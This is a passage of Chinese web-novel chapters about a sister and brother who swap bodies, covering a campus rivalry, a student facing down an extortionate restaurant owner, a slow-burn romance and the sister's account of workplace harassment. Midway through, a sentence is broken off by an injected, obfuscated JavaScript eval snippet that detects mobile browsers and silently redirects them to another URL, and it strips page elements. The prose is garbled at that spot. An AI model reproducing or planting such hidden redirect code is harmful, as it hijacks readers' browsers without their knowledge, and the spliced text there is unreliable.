“我已经打听过了,下周三沈知窈会带队去这里取样。”林嘉文的声音平静得如同一汪死水,“我会安排几个‘误入歧途’的混混,在附近等她。不需要真的闹出人命,只要让她在那里出点‘意外’——比如,在化工厂的暗房里,和几个不三不四的人关上一整晚。到时候,咱们再带着调研组的人,‘恰好’推门进去……” 林嘉文抚摸着姚若晨的脸颊,笑容愈发灿烂:“一个有过‘作风问题’前科的女人,在调研途中再次失踪并陷入丑闻,你觉得大伯还会保她吗?那个项目,自然会顺理成章地落到你手里。而沈知窈,这辈子都别想在任何一所高校抬起头来。” 姚若晨听得心惊肉跳,却又有一种变态的快感。她往林嘉文怀里钻了钻,娇声笑道:“嘉文,你怎么这么坏,你们还好了那么久,不心疼嘛?” “心疼什么,要不是她死皮赖脸死活要跟我在一起,我才不稀罕碰她。再说了对付脏东西,就得用脏手段。”林嘉文吻了吻她的额头,转过头看向窗外。 窗外风和日丽,一派宁静祥和。 黄昏的余晖被行政楼高耸的剪影切碎,细碎的金斑泼洒在深灰色的花岗岩台阶上。沈渡舟拎着那只沉甸甸的皮质公文包,步子迈得生风,全然不顾脚下那双七厘米羊皮高跟鞋发出的抗议。 他此刻穿着沈知窈最得体的一身象牙白套装,腰线收得极紧,衬得那副清冷皮囊愈发像一株雪地里的寒梅。 可内里那个灵魂,却躁动得像一头刚嗅到血腥味的野兽。 “沈老师,关于调研大纲里那个‘城中村宗族势力介入’的变量,我觉得还能再深挖。”许则安落后半步,目光凝在沈渡舟那截因为快步走动而若隐若现的脚踝上,语调如旧,温润中带着一丝不易察觉的探究。 沈渡舟猛地停住脚,回过头,沈知窈那双总是含着薄雾的眸子里,此刻烧着两团名为“复仇”的暗火,他这会儿正是火气足的时候:“挖,当然要挖,不仅要挖宗族,还要挖那些借着开发名义吃人血馒头的房企。” 他说话时,眉梢不自觉地挑起,带出一种原本不属于沈知窈的凌厉与狂放。 许则安微微一怔,随即轻笑出声,那笑声在空旷的走廊里显得格外柔和:“知窈,你最近……真的很不一样。这种‘不讲道理’的冲劲,和以前的你完全不一样有时候我会想,你是不是和你弟弟换了个身份。” 沈渡舟心头一跳,面上却稳如老狗,冷哼一声转过身去:“近朱者赤,近墨者黑。被那小子磨了这么多年,多少还是有点相似的,我们可是血浓于水的姐弟。” 两人一前一后走出校门。 夕阳将两人的影子拉得很长,重叠在一起,像是某种宿命般的剪影。 “忙了一整天,还没正经吃过饭。”许则安走到银灰色轿车旁,拉开车门,并没有急着发动,而是手搭在车顶,目光清亮地看着沈渡舟,“渡舟也去我那儿吧,膝盖的伤离不了人。今晚,去我那儿吃吧?我新学了道腌笃鲜,食材是托人从老家寄来的。” 沈渡舟刚想拒绝,脑子里却突然闪过林嘉文那张令人作呕的脸。 他知道,这项目现在的风口浪尖,沈知窈那个漏风的廉价住房确实不再安全。 更何况,他得在那儿守着自家的“真身”,万一沈知窈那脑子拎不清的姐姐在那儿露了馅,他这几天的罪就白受了。 “行。”沈渡舟弯腰钻进副驾驶,动作豪迈得差点扯裂了窄裙的后叉。 车行在繁华与静谧交织的街道。许则安开车很稳,修长的手指偶尔在方向盘上轻敲,发出极其细微的笃笃声。 “知窈,你看对面那栋楼。”许则安突然指了指路口一处新开发的江景公寓,语速极慢,像是随口一提,“那是这片区最好的地段,户型通透,安保也是顶级的。我听说,最近有个朋友想急着出手,地段离学校也就十分钟步程。” 沈渡舟顺着指引望去,那大楼在夜色初绽中灯火璀璨,一看就是他这种穷学生攒八辈子钱也买不起的一块砖。 “许老师,您这话题跨度够大的。”沈渡舟扯了扯嘴角,有些不怀好意地揶揄,“怎么,学术搞累了,打算转行当房产中介?” “那倒不是。”许则安温和地笑了,方向盘打转,车子平稳地驶入自家楼下的车库,“只是觉得,女孩子一个人住在那种鱼龙混杂的地方,终究不是长久之计。如果能离得近些,有个照应,总是好的。” “可我记得咱们第一回见的时候,你说你住在我家附近,合着是糊弄我。”沈渡舟回想起第一次见面,两人还在楼下吃了个煎饼。 合着许则安和沈知窈住的地方隔这么远呢。 许则安西装口袋里那份已经签好字的购房意向书,此刻正熨帖着他的体温。 那房子正对着他的露台,中间只隔着一条十米宽的小道和一池碧水。 他想把那只总是受惊的白鹤,圈进一低头就能看见的视线 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沈渡舟靠在门框上,看着许则安熟练地处理着鲜笋和咸肉,心里那股子因为林嘉文而燃起的戾气,竟然一点点沉淀了下去。 “许老师,”沈渡舟突然开口,眼神深邃,“你为什么要帮我们到这个份上?别拿什么‘同僚之情’糊弄我,我不信那玩意儿。” 沈渡舟率先打响第一枪——他现在可是顶替沈知窈的身体,想说什么就说什么,免得拖泥带水的,给后边留祸端。 许则安手下的动作没停,只是背影微微僵了一瞬。 “因为有人曾告诉我,这世上的光不该只照在那些擅长投机取巧的人身上。”他转过身,手里还拿着半截鲜笋,眼神清澈得惊人,“知窈,我也想看到你打破桎梏的样子,那样的你像加冕的女王。” 沈渡舟愣住了。 他看着这个斯文的男人,突然意识到,许则安不仅仅是爱慕沈知窈,他是在用一种近乎虔诚的方式,守护着沈知窈那份在这个泥潭般的社会里几乎要磨灭的自尊。 沈渡舟隐隐觉得,其实姐姐也不反感他的,对于许则安的靠近,沈知窈并没有抗拒。 沈渡舟只知道,沈知窈是个不懂表达爱的笨蛋。 晚饭桌上,三人围坐。 腌笃鲜的味道极正,汤汁浓白,鲜得让人掉眉毛。 沈渡舟吃得狼吞虎咽,全然没了娴雅淑女的风度,反倒是披着弟弟外壳的沈知窈,举手投足间还带着一股子端庄劲儿。 “对了,关于对面那房子。”许则安给沈知窈盛了一碗汤,语气平淡得像是在聊明天的天气,“我今天下午顺路去看了看,装修风格很现代,露台很大,晚上能直接看到咱们这边的灯火。渡舟啊,等你腿好了,带你姐去转转?我朋友说,熟人引荐的话,价格能压低不少。” 沈知窈还没反应过来,沈渡舟倒是一口汤差点喷出来。 “许老师,您真是操碎了心。”沈渡舟抹了抹嘴,眼神里带着一种洞察一切的戏谑,“这么不经意地提起,我还以为那房子是您专门给谁预备的惊喜呢,合着真的是惊喜啊。” 许则安持箸的手微微一顿,随即抬头,目光在沈渡舟那张熟悉的脸上短暂停留,又看向一旁默默喝汤的沈知窈。 “若是能让重要的人住得心安,惊喜与否,其实并不重要。” “不不不,给我就成惊吓了。”沈渡舟用手比划了个叉,大写特写地表示拒绝。 “租房的话倒是可以考虑,一码事归一码事,这样姐姐也心安。” “沈渡舟”开口了,他的声音沉稳中带着股青涩,正襟危坐的样子比当姐姐的“沈知窈”规矩得多。 许则安惊诧于这对姐弟的反差,却也答应了拟一份租房合同,让沈知窈能够更自在些。 那一晚,月色如水。 许则安站在露台上,看着对面那栋依然黑暗的公寓顶层。 他已经安排好了最好的设计师,会在那间房子的书房里,装满一整墙沈知窈喜欢的书。 25. 一战成名 市一中的高三教学楼,早读的喧嚣声在晨雾中浮沉。 沈知窈穿着浆洗得发白的蓝白校服,单肩挎着书包,悄无声息地穿过走廊。 自从换身以来,她在这所充满荷尔蒙与火药味的学校里,活得像一抹稀薄的透明空气。 她收敛了沈渡舟原本横冲直撞的臭脾气,不再翘课,不再去后街的桌球房,不去网吧酒吧歌舞厅,反而每天静静地坐在最后一排,悄悄内卷。 “哟,这不是咱们的‘沈大才子’吗?”李浩叉着腰站在班级门口,手里晃着两张皱巴巴的模拟卷,笑得满脸横肉都在颤抖,“听说你最近连厕所都不去,成天猫在位子上啃书?沈渡舟,清醒点吧,烂泥糊不上墙的。就算你把书背烂了,档案里那几个处分也能让你这辈子跟大学绝缘。你这种人,生来就该在码头抗包。” 周围几个跟班发出一阵刺耳的哄笑。 沈知窈停住脚步,藏在平光镜片后的眼神淡如止水。 她看李浩的眼神,不像是在看一个霸凌者,更像是在看社会学调研里一个发育不全的样本。 “李浩,概率论里有一个概念叫‘独立重复试验’。”沈知窈开口,嗓音沙哑却带着一种让人心惊的冷定,“你过去三年的嘲讽并不会增加你未来的胜算。有时间关心我的档案,不如担心一下你那张连及格线都够不着的数学卷子,我现在可是能考九十分,刚好及格噢。” “你——!”李浩像是被踩了尾巴的猫,刚要发作,却见沈知窈已经目不斜视地擦身而过。 教室内,原本喧闹的气氛在沈知窈坐下的那一刻变得微妙。 “渡哥,别理那帮孙子。”同桌张帆凑过来,压低声音说道。 这张帆作为同桌,原本是沈渡舟的“狗腿子”,以前只负责帮沈渡舟望风、买烟,可这半个月来。 他被沈知窈那股子莫名其妙的“学霸气场”给镇住了,竟然也鬼使神差地放下手机,开始跟着背单词。 张帆一边把一盒热牛奶推到沈知窈桌上,一边神色复杂地看着她:“渡哥,你最近真的……太稳了。昨晚那道解析几何,我按照你教的方法,三步就出结果了。你是不是背着咱们偷偷去哪儿闭关修仙了?” 沈知窈接过牛奶,道了声谢,嘴角泛起一抹极淡的弧度:“没修仙,只是想明白了一些以前没看透的事。” 这时,陆泠音走了过来。 她原本就对沈渡舟有些好感,接触多了,更是发现他眼底深处的荒芜似乎被一种深邃的东西取代了。 她隐约察觉到了不对,但是又无从说起。 “渡舟,这是我整理的英语高频词组,你……你要是不嫌弃,可以看看。”陆泠音放下几页字迹娟秀的纸,脸色微红,随即便快步回了座位。 沈知窈看着那叠纸,心头微微一暖。 第一节课是老秦的。 秦建国夹着一叠密封的成绩单走进来,眼神在那张奥数满分的卷子和眼前的少年之间来回逡巡。 “这次月考的成绩出来了。”秦建国拍了拍讲台,原本嘈杂的教室瞬间鸦雀无声,“我教了这么多年书,见过不少厚积薄发的,但像这次这样‘断层式’进步的,还是头一次。” 李浩在底下嬉笑一声:“老师,您直接报我名得了,虽然我没考好,但我也不至于进步到让您大惊失色吧?” “李浩,你确实大惊失色——你是退步得让人大惊失色,都快高考了,该上上心了,总不能真的一辈子靠着家里。”老秦一反常态,冷冷地扫了他一眼,随即提高音量,“这次月考,年级第十名,班级第一名——沈渡舟。” 轰的一声,教室内像是炸开了锅。 李浩惊得直接从凳子上站了起来,动作大得撞翻了水杯:“第十名?何老师您没看错吧?他沈渡舟要是能考第十,我直接把这黑板擦给生吞了!” 沈知窈坐在最后一排,面色平静地翻开试卷。 张帆激动得满脸通红,压抑着嗓子喊:“渡哥哥!听见没!第十!我操,你这哪是进步,你这是直接坐火箭上天了啊!” 秦建国态度一百八十大转变,他走到沈知窈桌前,将那张几乎全是勾的答题卡递给她,语重心长地说:“渡舟,名额的事……我和何老师会全力以赴。只要你保持这个势头,指定能给你送去上一所好大学。” 沈知窈接过成绩单,心中波澜不惊。 “老师,我会的。”沈知窈轻声回应。 窗外,阳光穿过茂密的香樟树叶,洒在课桌上。沈知窈看着斜前方李浩僵直的背影,心底却异常清醒。 月考放榜后的周五,班里的空气里浮躁着一种名为“劫后余生”的狂欢感。 老秦难得大发慈悲,没在大课间拖堂,还默许了班长张帆提议的班级团建。 说是团建,其实就是一群被试卷压得透不过气的小子姑娘,攒了生活费去校门口那条老街“打牙祭”。 沈知窈收拾好书包,正打算趁乱溜回许则安家继续钻研,却被张帆一把搂住了肩膀。 “渡哥,今天你可是主角!年级前十啊,不准走!”张帆笑得露出一口大白牙,半是威胁半是哀求,“咱们班这次均分提了三分,老秦说了,你是首功。陆泠音她们都在饭店等着了,你要是不去,这酒咱们喝不痛快。” 沈知窈看着张帆那双写满赤诚的眼睛,再看看教室里那群正兴致勃勃讨论待会儿点什么菜的少年,心底那层属于成年人的防备竟裂开了一道缝。 她现在的身份是沈渡舟,是一个在这所学校里曾被视为“毒瘤”的存在,可此时此刻,周围投来的目光里,嫌恶少了,好奇与敬畏多了。 “行,那去吧。”沈知窈抿了抿唇,学着弟弟那副疏狂的调子,单手插兜,跟在了人群后面。 老街深处的一家“好再来”私家菜馆,二楼最大的包间被一班包了场。 三张大圆桌挤得满满当当,热气腾腾的火锅翻滚着红油,香气混合着少年们叽叽喳喳的笑声,把窗外的晚霞都震碎了。 “来来来,这第一杯,咱们得敬渡哥!”张帆站起来,手里拎着一瓶大绿棒子啤酒,豪气干云地喊道,“以前我觉得渡哥是咱们班的‘镇班之宝’,专门负责镇住教导主任。现在我才知道,渡哥那是深藏不露,要么不考,一考惊人!” “敬渡哥!” 底下几个平日里跟沈渡舟混得好的男生跟着起哄,甚至连几个成绩中游、以前从不敢跟沈渡舟说话的女生,也怯生生地举起了果汁。 沈知窈看着面前那杯冒着白沫的啤酒,微微皱眉。 她这具身体的酒量她是知道的,沈渡舟那是千杯不醉的烈性子,可她内里那个灵魂却对酒精过敏般地抵触。 “渡舟,你要是不想喝,我替你。”坐在身侧的陆泠音低声说道,她今天扎了个高马尾,显得格外清爽,眼神里透着一抹担忧。 沈知窈侧头看了她一眼,又扫视了一圈周围那一张张稚气未脱、满是期待的脸。 李浩坐在另一桌,正阴沉着脸嚼着花生米,那眼神恨不得在沈知窈身上戳个洞。 “不用。”沈知窈端起杯子,在桌沿轻轻一磕,动作利落得像个纵横江湖的老手,“大家这三年来辛苦了。这杯酒,敬以后,咱们都能考上想去的学校。” 辛辣的液体滑过喉咙,沈知窈呛得眼眶微红,却强撑着没咳嗽。 这股子狠劲儿落在众人眼里,简直就是“沈霸王”强势归来的铁证,包间里的气氛瞬间被推向了最高潮。 酒过三巡,少年们聊开了。 谁暗恋隔壁班的班花。 “屁,班花谁评的,我没投过票,野鸡榜吧,叉出去!” 谁在模拟考里藏了小抄。 “你不知道啊,那个谁上次考试偷偷买了答案,结果人家给的答案是去年模拟考的哈哈哈……” 谁打算毕业后去海边打工…… “还是先高考吧,你这成绩,指不定就考上重本了,打什么工啊你,凡尔赛……” 这些琐碎又生动的梦想,在酒精的催化下显得格外珍贵。 沈知窈静静地听着,偶尔给张帆递个空碗,或者帮陆泠音挡开几个男生的调侃。 她 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“欺负你们又怎么了?”老板把烟头往地上一踩,那双写满市侩与贪婪的眼睛扫过众人,语气蛮横,“老子在这儿开了十年店,黑白两道都有人。今天这钱要是给不齐,你们一个也别想出这个门!” 随着他的话音落下,门口晃悠出两个光着膀子、纹着纹身的伙计,抱拳站在那儿,一脸横肉。 学生们哪见过这种阵势?几个胆小的女生已经吓得缩到了后排,张帆涨红了脸,拳头攥得死紧,却也知道硬拼不过。李浩更是怂得彻底,低着头装死,连大气都不敢喘。 “三千二?” 一道清冷如玉碎的声音在包间角落响起。 沈知窈推开挡在面前的椅子,不紧不慢地走上前,站在了张帆身边。 沈渡舟的身体比老板矮了小半个头,可那股子泰山压顶不弯腰的气场,硬是让对面的男人愣了瞬。 “这位老板,咱们先来讲讲法。”沈知窈顺手从兜里掏出一只随身带的录音笔,按下了开关,动作优雅得像是在做学术报告。 “第一,根据《价格法》第十三条,经营者应当明码标价。你给我们的菜单上,那种啤酒标注的是十五元一瓶,你现在口头提价十倍,涉嫌价格欺诈。第二,关于地毯清洗费,在法律上属于‘违约赔偿’范畴,必须基于实际损失,且你有举证责任。这种轻微水渍,专业清洗不过几十块,你张口五百,那是敲诈。第三,也是最重要的一点——” 沈知窈逼近一步,眼神犀利如刃,直视着老板的眼睛。 “你这家店没有特种行业经营许可,晚上十点以后还在接待未成年人聚众饮酒。按照《未成年人保护法》,我可以立刻向当地工商和文化局举报。到时候别说三千二,你这店还要不要开,可就是另一回事了。” “怎么,你是看着,我们是一帮学生,害怕闹事上了档案,就肆无忌惮敲诈我们么,我告诉你,这不能够!” 老板的脸色变了又变,由红转紫,最后变成了土灰色。他没见过这么能讲道理的学生,每一条都精准地踩在他的命门上。 “你……你少在这儿唬人!老子不吃这一套!”老板虽然嘴硬,眼神却开始飘忽。 “不吃这一套?那好,张帆,报警。”沈知窈冷静地吩咐道,“顺便给校门口值班的保卫科打个电话,就说咱们一中的高三学生在老街被非法拘禁了。” “别别别!”老板一看张帆真掏出了手机,顿时矮了半截。他可是知道市一中的能量,万一真闹到警察局,他这无证经营的烂摊子铁定保不住。 “行行行,算老子今天倒霉!两千就两千,赶紧走!”老板骂骂咧咧地让开了路。 沈知窈并没有立刻离开,而是从张帆手里接过那叠钱,数出了一千八百五放在桌上,剩下一百五装回兜里。 “老板,该是多少就是多少。多的一分不给,少的一分不欠。以后做生意,长点眼力见。” 说完,她转过身,对那一屋子惊呆了的同学招了招手:“走吧,解决完了,咱唱歌去。” 26. 酒精迷离 夜色渐浓,老街尽头的霓虹灯影在潮湿的地面上拉出斑驳的长痕。 唱完歌的学生们成群结队地散去,嬉笑声逐渐消失在巷口,只剩下路灯下偶尔盘旋的飞虫。 许则安的那辆银色轿车静静地停在老槐树下,车窗半降,露出他清俊侧颜的一角。 他换了一身深咖色的羊绒大衫,袖口微微挽起,正低头看着仪表盘上的时钟,直到后视镜里映出一个熟悉又清瘦的身影。 沈知窈走得很慢。 酒精的后劲伴随着膝盖处细密的钝痛,像是一根根无形的丝线,扯得她每一步都带着几分虚浮。 她揉了按跳动的太阳穴,额前的碎发有些乱,遮住了那双平日里总是被重叠迷雾遮掩的眼眸。 许则安推门下车。 他没有站在原地等,而是快步迎了上来。在沈知窈身形晃动的那一秒,一双温热且有力的大手稳稳地托住了她的双肘。 “渡舟,怎么喝这么多?”许则安的声音压得很低,带着一丝不易察觉的责备,但更多的或许是心疼。 沈知窈仰起头,在那具少年的躯壳里,她的神智正处于一种微妙的游离态。 眼前的许则安被月色和路灯晕染出一层柔和的光圈,那股熟悉的冷泉香气瞬间将酒馆里那股浑浊的烟酒味冲散。 她不自觉地松了紧绷了一整晚的肩膀,整个人微微前倾,额头几乎抵到了许则安的肩膀。 “许老师……”她呢喃着,嗓音里透着少年的沙哑,语气却全然是沈知窈式的依赖,“今天那些人……好吵。” 听到有些熟悉的口吻,许则安呼吸一滞。 他感觉到掌心下的手臂在微微发抖。 那是沈知窈。 即便她冷淡又强硬,在只有他能看见的阴影里,她又是那个会被雷声惊醒、会因为一份资料丢失而枯坐整夜的沈知窈。 眼前的人并不是沈知窈,但许则安不知怎的,真真切切感受到了她的存在。 “我在,不吵了。”许则安顺势揽住她的腰,将她往怀里带了带。 沈知窈没有推开,借着酒意她贪婪地汲取着这份宁静。 她用沈渡舟那双骨节分明的手,轻轻抓住了许则安腰间的衣料,指尖因为用力而微微泛白。 “我刚才……是不是特别厉害?”她抬起眼,瞳孔里倒映着细碎的星光,带了一点孩子气的求夸奖,“不过你没看见,太可惜了……” 许则安看着这张和沈知窈五六分相似的脸,心底却翻涌起一阵剧烈的波澜。 他见过沈知窈在台上冷静克制的样子,也见过她在深夜路灯下落寞的样子,唯独没见过她这样——像一只收起了所有尖刺,软绵绵地摊在他怀里的小动物。 可是这算不算趁人之危呢,就算眼前的人,她就是沈知窈,他刻意接近了,也算是趁人之危的吧。 “厉害。”许则安的嗓音暗了下去,修长的手指鬼使神差地抚过“少年”的鬓角,最后停留在耳际,动作轻柔得像是在拂拭一件绝世珍宝,“咱们的沈老师,沈教授,从来没让我失望过。” 两人的距离极近。 在寂静的老街口,沈知窈能听到许则安胸膛里不疾不徐却重逾千钧的心跳声。 这种张力在空气中无声地拉扯。 沈知窈心里很清楚,如果现在对面站着的是真正的沈渡舟,许则安绝不会露出这种近乎深情的、克制的、又带着侵占欲的眼神。 他看透了她——或者说,他在这一场荒诞的互换里,精准地捕捉到了她灵魂的频率。 “许老师,别对我这么好。”沈知窈陡然清醒了大半,试图拉开一点距离,脚步却依然绵软。 “为什么?”许则安并没有放手,反而收紧了手臂,将她整个人护送到了副驾驶位旁。 “命运赠予的每一样东西都标上了价格,我支付不起。” 许则安替她拉开车门,手掌挡在门框顶端,防止她撞到头。 他微微弯腰,视线与她平齐,那双深邃的眼眸里盛满了月色:“所以,你真的是沈知窈本人?” 沈知窈心中顿觉大事不妙,她佯装镇定道:“许老师你说什么呢,喝多了的是我,你这话问得有意思,我还以为是你喝多了呢。” 他关上车门,转过身绕回驾驶座:“我要是喝多了,就没办法接你回去了。” 银色轿车发动,平稳地滑入夜色。 车厢内,空调的暖气缓缓升起。 沈知窈靠在真皮椅背上,看着许则安在明灭的街灯下专注开车的侧影,心跳竟然比刚才对峙饭店老板时还要快。 她不经意地抬手,摸了摸刚才被许则安碰触过的耳尖。 那里似乎还残留着他指尖的温度,烫得她有些不知所措。 “对面那房子,已经签了意向书。”许则安话题一转,目视前方,语气平淡得像是在聊一件微不足道的小事,“明天要是放学早,我陪你去看看。如果你不喜欢那里的装修,我们可以拆了重弄。” 沈知窈愣了愣:“你和沈知窈要一直住对门吗?” 许则安在红灯前停下车,侧过头,目光直白且炽热地锁住了她。 “不。” 他的手指轻轻敲击着方向盘,嘴角勾起一抹极淡的弧度。 “是我想一睁眼,就能确定你在这个世界上,离我最近的地方。” 沈知窈落荒而逃般地转头看向窗外,心乱如麻。 在那具少年的身体里,她的灵魂第一次深刻地体会到了,什么叫作在劫难逃。 银色轿车如一尾沉默的深海鱼,泅渡在南城半明半暗的霓虹里。 沈知窈将头抵在冰凉的玻璃窗上,酒精让她的感官变得迟钝而敏感。 窗外飞逝的行道树像是一节节断掉的旧时光,而车内逼仄的空间里,那股冷泉般的香气正无孔不入地包裹着她。 她闭上眼,指尖还残留着刚才抓皱他大衣料子的触感,那是一种极具安全感的厚重,却也烫得她心尖发颤。 许则安握着方向盘的手指修长且稳,指节偶尔因为转弯而微微泛白。他没有再追问那个荒诞的问题,像是刚才那句石破天惊的试探,只是被夜风吹散的一个错觉。 “咱们这里的冬天总是比别处潮些。”许则安率先打破了沉默,嗓音温润,像是在读一本无关痛痒的散文,“刚才在饭店门口,你护着那些学生的样子,让我想起十五年前的一棵老槐树。那时候,也有人站在树下,试图留住一些快要消失的东西。” 沈知窈的心口漏跳了一拍。她知道他在说谁,也知道他在说哪棵树。 在沈渡舟这具年轻的身体里,她原本已经习惯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374024|199519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这种“所向披靡”的幻觉,可许则安只需寥寥数语,就能轻而易举地剥开这层硬壳,精准地刺中那个躲在内里、习惯了回避与瑟缩的灵魂。 “许老师博闻强识,记性太好,有时候也挺让人困扰的。”她换了个舒服的姿势,学着弟弟那副玩世不恭的调子,语带讥诮,眼神却始终不敢落在他的侧脸上。 沈知窈觉得,偶尔像沈渡舟那样没心没肺地活着,也是一件不错的事。 许则安在红灯前缓步刹车。 他侧过头,目光深邃得像是一场经年不散的雾,那种眼神里没有审判,没有猎奇,只有一种近乎自虐的克制与柔情。 “记性好不是什么本事。”他轻声说,每一个字都像是落在平静湖面的石子,“只是有些频率,一旦捕捉到了,这辈子就很难调到别的频道上去。渡舟,你说呢?” 他叫她“渡舟”,可那语调里的缱绻与笃定,分明是在疯狂地在沈知窈的心门上猛撞。 沈知窈感觉到一种前所未有的窒息感,那是她最擅长的领域——回避。 在沈知窈的前半生里,一旦察觉到有人试图逾越那条名为“安全”的边际线,她就会像受惊的蜗牛,迅速缩回那个冰冷且坚硬的壳里。 “许老师,高深莫测的话留给值得的人吧。”她自嘲地笑了笑,强撑着那股沙哑的少年音,“说白了,和你有交情的……是我姐沈知窈,你不要来为难我这个高三生。你买的那房子,我未必住得起。沈家的债,我姐已经背够了,我不想再给她添一笔还不清的人情债。” “如果你觉得是债,那就记在账上。”许则安重新启动车子,目光直视前方,语气平淡得近乎冷酷,“我知道,‘沈知窈’习惯了拒绝所有人,甚至习惯了拒绝自己,但唯独没想过,有些人等在原地,并不是为了找你讨债。” 车厢内的温度似乎又升高了几分。 沈知窈死死抓着衣角,指尖陷进掌心里。 一股酸涩感从鼻腔一路蔓延到心底,窒息感层层递进,快要叫她呼吸不上来。 她想起那些在深夜独自赶ddl的日子,想起忍受林嘉文不堪行径的自己,想起那些她以为无人知晓的落寞。 如此破败的人生,居然会有旁观者。 她是一个在泥泞里挣扎太久的人,本能地怀疑一切纯粹的光。 “到了。”许则安将车停在楼下,却没有立刻解锁车门。 他熄了火,车内陷入了一片令人心慌的死寂。 沈知窈甚至能听到两人交错的呼吸声,一轻一重,在狭小的空间里拉扯出极致的张力。 许则安转过身,手掌撑在副驾驶的靠背上。这个动作带出一种侵略性极强的压迫感,却在距离她几公分的地方生生止住。他看着沈知窈,眼神里有一种求而不得的悲悯。 “回去早点休息,膝盖记得换药。”他伸手,似乎想再次触碰她的鬓角,却在半空中僵了片刻,最终只是帮她理了理被风吹乱的衣领。 动作礼貌、克制、且卑微。 “谢谢许老师。”沈知窈拉开车门,像是个落荒而逃的士兵。 她和许则安之间,隔着的不仅仅是身体的互换,还有那日积月累,她亲手垒砌的荒原。 有些关系,之所以酸涩,是因为它长在错误的季节。 时也,运也。 27. 姐弟交心 凌晨两点,许则安家的次卧只亮着一盏昏黄的台灯。 沈渡舟把自己陷在宽大的转椅里,面前摊开的是几本厚如砖头的社会学专著。 他单手撑着下巴,另一只手捏着碳素笔,在沈知窈那些密密麻麻的调研笔记旁批注。 他以前总觉得姐姐学的这些东西虚头巴脑,什么“资本对边缘空间的异化”,什么“宗族结构的解构”,晦涩难懂的文字落在书里,将原本能一句话就能解释明白的东西延展成谁都看不明白的注释,和脱了裤子放屁的玩意儿有什么区别。 可真当他替沈知窈坐在那个位置上,看着那些被权力和金钱碾碎的底层人生,他才发现沈知窈手里那支笔,重得让人喘不过气。 只能屈服于当前的规则,依靠规则去一点点获取话语权。 门缝处传来细微的声响。 沈渡舟警觉地合上笔记本,一抬头就看见沈知窈抱着被子,缩着肩膀站在门口。 她显然还没从晚上的酒精里彻底清醒,眼神发直,头发有些乱,校服外套松松垮垮地挂在身上,像个半夜走丢的游魂。 “沈渡舟……你还没睡?”沈知窈嘟囔了一句,不请自白地走进屋,一屁股坐在床沿上然后丝滑地躺了下去。 见此情景的沈渡舟:“……” 沈渡舟挑了挑眉,语气有些不友善:“沈老师,您这大半夜的,是打算在这儿监工么?还有,谁准你动我书包里的烟了,我的烟你不要动哇!” 沈知窈低着头,手指无意识地抓着柔软的被角,声音闷闷的:“我没动。我只是闻到那股烟味,觉得心里堵得慌……你又在看我的项目材料?沈渡舟,看得懂么你就看,别在那儿瞎操心,吃咸萝卜操淡的心。” 沈渡舟噎住了,因为我们仍未知道今晚的沈知窈到底喝了多少。 不会许则安去接她这个过程不会露馅了吧? 后来事实证明,沈渡舟的担心并非多余。 “我是看不懂,但我看得懂林嘉文那孙子想往你坑里填土。”沈渡舟冷笑一声,把笔往桌上一拍,“你也是够有本事的,平时在家里跟我横得跟什么似的,在外面就怂成那样?林嘉文那天跟我吵架,说你以前也‘出过轨’,说你这人道德上有瑕疵。沈知窈,虽然我平时看你不顺眼,但我总觉得,你这种清高如云端上的一朵白莲花似的人,没那份贼心。” 闻言沈知窈原本游离的神色僵住了。 她像是被某种无形的力量钉在原地,过了许久,才爬起来发出一声短促而沙哑的笑声,那是透着绝望的自嘲。 “出轨?他真敢说啊。”沈知窈抬起头,酒精的余温让她脸颊泛红,眼底却是一片死寂,“他口中所谓的‘出轨’,是因为他亲眼看见洪德清在走廊里拉扯我,而他不仅没上来帮我,反而在事后质问我,问我是不是因为太想要名额,给那个老头发了什么错误的信号。” 沈渡舟攥紧了拳头,骨节发出轻微的声响。 “他拿这件事威胁我,说如果我不听话,不把项目数据交出来,他就要在学院里公开说我勾引导师,说我恬不知耻。沈渡舟,你根本不知道那种感觉……你以为我守着那份工作是因为贪图那点薪水吗?我是想证明,就算在那样的环境里,我依然能靠自己的能力打破困境。可林嘉文,他想连我最后一点自尊都碾碎。” 沈知窈靠在床头,眼泪无声地顺着鼻梁滑落。她像是要把这几年的压抑一口气倾倒出来:“他自己出轨姚若晨,带着她在我面前晃,还要告诉我这是为了我的‘前途’铺路。他太自私了,他想把我变成一个只会对他言听计从的傀儡。” 沈渡舟沉默了,他看着面前这个在外人眼里清高、优秀的姐姐,第一次剥开了她华丽外壳下血淋淋的伤口。 沈渡舟看着眼前的沈知窈,酒精让她卸下了平日里那层防御性的冷漠,校服领口歪着,露出锁骨上一道陈年的浅淡红痕。那是沈渡舟初二那年,因为他在外面跟人打架被记大过,沈知窈气急了,伸手扯他回家时被他在推搡中不小心用书包拉链划伤的。 那时候沈知窈刚读研,整天泡在导师的课题组里,累得眼圈发青。她那天一边给他抹药,一边掉眼泪,骂他是个“只会用拳头思考的废物”。 “你那时候说我只会用拳头,现在看看,你那套‘讲道理’在林嘉文面前顶个屁用?”沈渡舟的声音在深夜里显得格外沉闷,他伸手去拿烟盒,摸了个空,才想起烟早就被他藏到了窗台外。 沈知窈顺着他的目光看向窗外,像是陷入了某种泥泞的回忆,自嘲地笑笑:“是啊,讲道理没用。林嘉文最擅长的就是把道理歪曲成刺向我的刀。他出轨姚若晨,却能当着我的面,面不改色地说那是为了帮我疏通副院长的关系,甚至暗示我,如果我不接受这种‘各取所需’,就是我不知好歹,是在阻碍他的前程。渡舟,那种精神上的凌迟,比你挨一棍子要疼得多。” 她抱着膝盖,把头埋进臂弯里,声音闷闷的:“还有洪德清。那次在教研室,他把门反锁,手搭在我肩膀上的时候,林嘉文就站在门外的走廊里。我听见了他的打火机响,他明明知道里面在发生什么,但他没进来。后来他跟我说,洪教授是圈子里的泰斗,得罪不起。那一刻我才明白,在他眼里,我不是他的女朋友,只是他学术进阶路上的一块垫脚石,甚至是投名状。” 他突然觉得,自己以前那些所谓的“反叛”和“混迹街头”,在沈知窈所承受的心理凌迟面前,简直像个拙劣的笑话。 